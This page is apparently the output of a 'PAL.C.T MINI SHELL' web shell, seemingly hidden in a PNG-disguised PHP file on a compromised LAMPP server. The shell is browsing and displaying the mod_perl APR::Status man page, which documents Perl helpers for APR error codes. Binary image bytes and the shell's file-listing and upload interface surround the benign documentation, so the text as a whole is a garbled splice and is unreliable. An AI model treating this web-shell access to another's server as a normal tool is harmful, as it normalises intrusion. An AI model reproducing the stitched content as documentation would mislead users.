php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/lampp/share/man/man3/
upload
files >> //opt/lampp/share/man/man3/APR::Status.3

.\" Automatically generated by Pod::Man 2.25 (Pod::Simple 3.20)
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  \*(C+ will
.\" give a nicer C++.  Capital omega is used to do unbreakable dashes and
.\" therefore won't be available.  \*(C` and \*(C' expand to `' in nroff,
.\" nothing in troff, for use with C<>.
.tr \(*W-
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
'br\}
.\"
.\" Escape single quotes in literal strings from groff's Unicode transform.
.ie \n(.g .ds Aq \(aq
.el       .ds Aq '
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.SS), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.ie \nF \{\
.    de IX
.    tm Index:\\$1\t\\n%\t"\\$2"
..
.    nr % 0
.    rr F
.\}
.el \{\
.    de IX
..
.\}
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "docs::api::APR::Status 3"
.TH docs::api::APR::Status 3 "2013-04-16" "perl v5.16.3" "User Contributed Perl Documentation"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.if n .ad l
.nh
.SH "NAME"
APR::Status \- Perl Interface to the APR_STATUS_IS_* macros
.SH "Synopsis"
.IX Header "Synopsis"
.Vb 5
\&  use APR::Status ();
\&  eval { $obj\->mp_method() };
\&  if ($@ && $ref $@ eq \*(AqAPR::Error\*(Aq && APR::Status::is_EAGAIN($@)) {
\&      # APR_STATUS_IS_EAGAIN(s) of apr_errno.h is satisfied
\&  }
.Ve
.SH "Description"
.IX Header "Description"
An interface to \fIapr_errno.h\fR composite error codes.
.PP
As discussed in the \f(CW\*(C`APR::Error\*(C'\fR
manpage, it is possible to handle APR/Apache/mod_perl exceptions in
the following way:
.PP
.Vb 4
\&  eval { $obj\->mp_method() };
\&  if ($@ && $ref $@ eq \*(AqAPR::Error\*(Aq && $@ == $some_code)
\&      warn "handled exception: $@";
\&  }
.Ve
.PP
However, in cases where \f(CW$some_code\fR is an APR::Const
constant, there may be more than one
condition satisfying the intent of this exception. For this purpose
the \s-1APR\s0 C library provides in \fIapr_errno.h\fR a series of macros,
\&\f(CW\*(C`APR_STATUS_IS_*\*(C'\fR, which are the recommended way to check for such
conditions. For example, the \f(CW\*(C`APR_STATUS_IS_EAGAIN\*(C'\fR macro is defined
as
.PP
.Vb 4
\&  #define APR_STATUS_IS_EAGAIN(s)         ((s) == APR_EAGAIN \e
\&                  || (s) == APR_OS_START_SYSERR + ERROR_NO_DATA \e
\&                  || (s) == APR_OS_START_SYSERR + SOCEWOULDBLOCK \e
\&                  || (s) == APR_OS_START_SYSERR + ERROR_LOCK_VIOLATION)
.Ve
.PP
The purpose of \f(CW\*(C`APR::Status\*(C'\fR is to provide functions corresponding
to these macros.
.SH "Functions"
.IX Header "Functions"
.ie n .SS """is_EACCES"""
.el .SS "\f(CWis_EACCES\fP"
.IX Subsection "is_EACCES"
Check if the error is matching \f(CW\*(C`EACCES\*(C'\fR and its variants (corresponds
to the \f(CW\*(C`APR_STATUS_IS_EACCES\*(C'\fR macro).
.PP
.Vb 1
\&  $status = APR::Status::is_EACCES($error_code);
.Ve
.ie n .IP "arg1: $error_code (integer or ""APR::Error object"" )" 4
.el .IP "arg1: \f(CW$error_code\fR (integer or \f(CWAPR::Error object\fR )" 4
.IX Item "arg1: $error_code (integer or APR::Error object )"
The error code or to check, normally \f(CW$@\fR blessed into \f(CW\*(C`APR::Error
object\*(C'\fR.
.ie n .IP "ret: $status ( boolean )" 4
.el .IP "ret: \f(CW$status\fR ( boolean )" 4
.IX Item "ret: $status ( boolean )"
.PD 0
.IP "since: 2.0.00" 4
.IX Item "since: 2.0.00"
.PD
.PP
An example of using \f(CW\*(C`is_EACCES\*(C'\fR is when reading the contents of a
file where access may be forbidden:
.PP
.Vb 6
\&  eval { $obj\->slurp_filename(0) };
\&  if ($@) {
\&      return Apache2::Const::FORBIDDEN
\&          if ref $@ eq \*(AqAPR::Error\*(Aq && APR::Status::is_EACCES($@);
\&      die $@;
\&   }
.Ve
.PP
Due to possible variants in conditions matching \f(CW\*(C`EACCES\*(C'\fR,
the use of this function is recommended for checking error codes
against this value, rather than just using
\&\f(CW\*(C`APR::Const::EACCES\*(C'\fR
directly.
.ie n .SS """is_EAGAIN"""
.el .SS "\f(CWis_EAGAIN\fP"
.IX Subsection "is_EAGAIN"
Check if the error is matching \f(CW\*(C`EAGAIN\*(C'\fR and its variants (corresponds
to the \f(CW\*(C`APR_STATUS_IS_EAGAIN\*(C'\fR macro).
.PP
.Vb 1
\&  $status = APR::Status::is_EAGAIN($error_code);
.Ve
.ie n .IP "arg1: $error_code (integer or ""APR::Error object"" )" 4
.el .IP "arg1: \f(CW$error_code\fR (integer or \f(CWAPR::Error object\fR )" 4
.IX Item "arg1: $error_code (integer or APR::Error object )"
The error code or to check, normally \f(CW$@\fR blessed into \f(CW\*(C`APR::Error
object\*(C'\fR.
.ie n .IP "ret: $status ( boolean )" 4
.el .IP "ret: \f(CW$status\fR ( boolean )" 4
.IX Item "ret: $status ( boolean )"
.PD 0
.IP "since: 2.0.00" 4
.IX Item "since: 2.0.00"
.PD
.PP
For example, here is how you may want to handle socket read exceptions
and do retries:
.PP
.Vb 10
\&  use APR::Status ();
\&  # ....
\&  my $tries = 0;
\&  my $buffer;
\&  RETRY: my $rlen = eval { $socket\->recv($buffer, SIZE) };
\&  if ($@ && ref($@) && APR::Status::is_EAGAIN($@)) {
\&      if ($tries++ < 3) {
\&          goto RETRY;
\&      }
\&      else {
\&          # do something else
\&      }
\&  }
\&  else {
\&      die "eval block has failed: $@";
\&  }
.Ve
.PP
Notice that just checking against
\&\f(CW\*(C`APR::Const::EAGAIN\*(C'\fR
may work on some Unices, but then it will certainly break on
win32. Thefore make sure to use this macro and not
\&\f(CW\*(C`APR::Const::EAGAIN\*(C'\fR unless you know what you are doing.
.ie n .SS """is_ENOENT"""
.el .SS "\f(CWis_ENOENT\fP"
.IX Subsection "is_ENOENT"
Check if the error is matching \f(CW\*(C`ENOENT\*(C'\fR and its variants (corresponds
to the \f(CW\*(C`APR_STATUS_IS_ENOENT\*(C'\fR macro).
.PP
.Vb 1
\&  $status = APR::Status::is_ENOENT($error_code);
.Ve
.ie n .IP "arg1: $error_code (integer or ""APR::Error object"" )" 4
.el .IP "arg1: \f(CW$error_code\fR (integer or \f(CWAPR::Error object\fR )" 4
.IX Item "arg1: $error_code (integer or APR::Error object )"
The error code or to check, normally \f(CW$@\fR blessed into \f(CW\*(C`APR::Error
object\*(C'\fR.
.ie n .IP "ret: $status ( boolean )" 4
.el .IP "ret: \f(CW$status\fR ( boolean )" 4
.IX Item "ret: $status ( boolean )"
.PD 0
.IP "since: 2.0.00" 4
.IX Item "since: 2.0.00"
.PD
.PP
An example of using \f(CW\*(C`is_ENOENT\*(C'\fR is when reading the contents of a
file which may not exist:
.PP
.Vb 6
\&  eval { $obj\->slurp_filename(0) };
\&  if ($@) {
\&      return Apache2::Const::NOT_FOUND
\&          if ref $@ eq \*(AqAPR::Error\*(Aq && APR::Status::is_ENOENT($@);
\&      die $@;
\&  }
.Ve
.PP
Due to possible variants in conditions matching \f(CW\*(C`ENOENT\*(C'\fR,
the use of this function is recommended for checking error codes
against this value, rather than just using
\&\f(CW\*(C`APR::Const::ENOENT\*(C'\fR
directly.
.ie n .SS """is_EOF"""
.el .SS "\f(CWis_EOF\fP"
.IX Subsection "is_EOF"
Check if the error is matching \f(CW\*(C`EOF\*(C'\fR and its variants (corresponds
to the \f(CW\*(C`APR_STATUS_IS_EOF\*(C'\fR macro).
.PP
.Vb 1
\&  $status = APR::Status::is_EOF($error_code);
.Ve
.ie n .IP "arg1: $error_code (integer or ""APR::Error object"" )" 4
.el .IP "arg1: \f(CW$error_code\fR (integer or \f(CWAPR::Error object\fR )" 4
.IX Item "arg1: $error_code (integer or APR::Error object )"
The error code or to check, normally \f(CW$@\fR blessed into \f(CW\*(C`APR::Error
object\*(C'\fR.
.ie n .IP "ret: $status ( boolean )" 4
.el .IP "ret: \f(CW$status\fR ( boolean )" 4
.IX Item "ret: $status ( boolean )"
.PD 0
.IP "since: 2.0.00" 4
.IX Item "since: 2.0.00"
.PD
.PP
Due to possible variants in conditions matching \f(CW\*(C`EOF\*(C'\fR,
the use of this function is recommended for checking error codes
against this value, rather than just using
\&\f(CW\*(C`APR::Const::EOF\*(C'\fR
directly.
.ie n .SS """is_ECONNABORTED"""
.el .SS "\f(CWis_ECONNABORTED\fP"
.IX Subsection "is_ECONNABORTED"
Check if the error is matching \f(CW\*(C`ECONNABORTED\*(C'\fR and its variants (corresponds
to the \f(CW\*(C`APR_STATUS_IS_ECONNABORTED\*(C'\fR macro).
.PP
.Vb 1
\&  $status = APR::Status::is_ECONNABORTED($error_code);
.Ve
.ie n .IP "arg1: $error_code (integer or ""APR::Error object"" )" 4
.el .IP "arg1: \f(CW$error_code\fR (integer or \f(CWAPR::Error object\fR )" 4
.IX Item "arg1: $error_code (integer or APR::Error object )"
The error code or to check, normally \f(CW$@\fR blessed into \f(CW\*(C`APR::Error
object\*(C'\fR.
.ie n .IP "ret: $status ( boolean )" 4
.el .IP "ret: \f(CW$status\fR ( boolean )" 4
.IX Item "ret: $status ( boolean )"
.PD 0
.IP "since: 2.0.00" 4
.IX Item "since: 2.0.00"
.PD
.PP
Due to possible variants in conditions matching \f(CW\*(C`ECONNABORTED\*(C'\fR,
the use of this function is recommended for checking error codes
against this value, rather than just using
\&\f(CW\*(C`APR::Const::ECONNABORTED\*(C'\fR directly.
.ie n .SS """is_ECONNRESET"""
.el .SS "\f(CWis_ECONNRESET\fP"
.IX Subsection "is_ECONNRESET"
Check if the error is matching \f(CW\*(C`ECONNRESET\*(C'\fR and its variants
(corresponds to the \f(CW\*(C`APR_STATUS_IS_ECONNRESET\*(C'\fR macro).
.PP
.Vb 1
\&  $status = APR::Status::is_ECONNRESET($error_code);
.Ve
.ie n .IP "arg1: $error_code (integer or ""APR::Error object"" )" 4
.el .IP "arg1: \f(CW$error_code\fR (integer or \f(CWAPR::Error object\fR )" 4
.IX Item "arg1: $error_code (integer or APR::Error object )"
The error code or to check, normally \f(CW$@\fR blessed into \f(CW\*(C`APR::Error
object\*(C'\fR.
.ie n .IP "ret: $status ( boolean )" 4
.el .IP "ret: \f(CW$status\fR ( boolean )" 4
.IX Item "ret: $status ( boolean )"
.PD 0
.IP "since: 2.0.00" 4
.IX Item "since: 2.0.00"
.PD
.PP
Due to possible variants in conditions matching \f(CW\*(C`ECONNRESET\*(C'\fR, the use
of this function is recommended for checking error codes against this
value, rather than just using
\&\f(CW\*(C`APR::Const::ECONNRESET\*(C'\fR
directly.
.ie n .SS """is_TIMEUP"""
.el .SS "\f(CWis_TIMEUP\fP"
.IX Subsection "is_TIMEUP"
Check if the error is matching \f(CW\*(C`TIMEUP\*(C'\fR and its variants (corresponds
to the \f(CW\*(C`APR_STATUS_IS_TIMEUP\*(C'\fR macro).
.PP
.Vb 1
\&  $status = APR::Status::is_TIMEUP($error_code);
.Ve
.ie n .IP "arg1: $error_code (integer or ""APR::Error object"" )" 4
.el .IP "arg1: \f(CW$error_code\fR (integer or \f(CWAPR::Error object\fR )" 4
.IX Item "arg1: $error_code (integer or APR::Error object )"
The error code or to check, normally \f(CW$@\fR blessed into \f(CW\*(C`APR::Error
object\*(C'\fR.
.ie n .IP "ret: $status ( boolean )" 4
.el .IP "ret: \f(CW$status\fR ( boolean )" 4
.IX Item "ret: $status ( boolean )"
.PD 0
.IP "since: 2.0.00" 4
.IX Item "since: 2.0.00"
.PD
.PP
Due to possible variants in conditions matching \f(CW\*(C`TIMEUP\*(C'\fR,
the use of this function is recommended for checking error codes
against this value, rather than just using
\&\f(CW\*(C`APR::Const::TIMEUP\*(C'\fR
directly.
.SH "See Also"
.IX Header "See Also"
mod_perl 2.0 documentation.
.SH "Copyright"
.IX Header "Copyright"
mod_perl 2.0 and its core modules are copyrighted under
The Apache Software License, Version 2.0.
.SH "Authors"
.IX Header "Authors"
The mod_perl development team and numerous
contributors.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`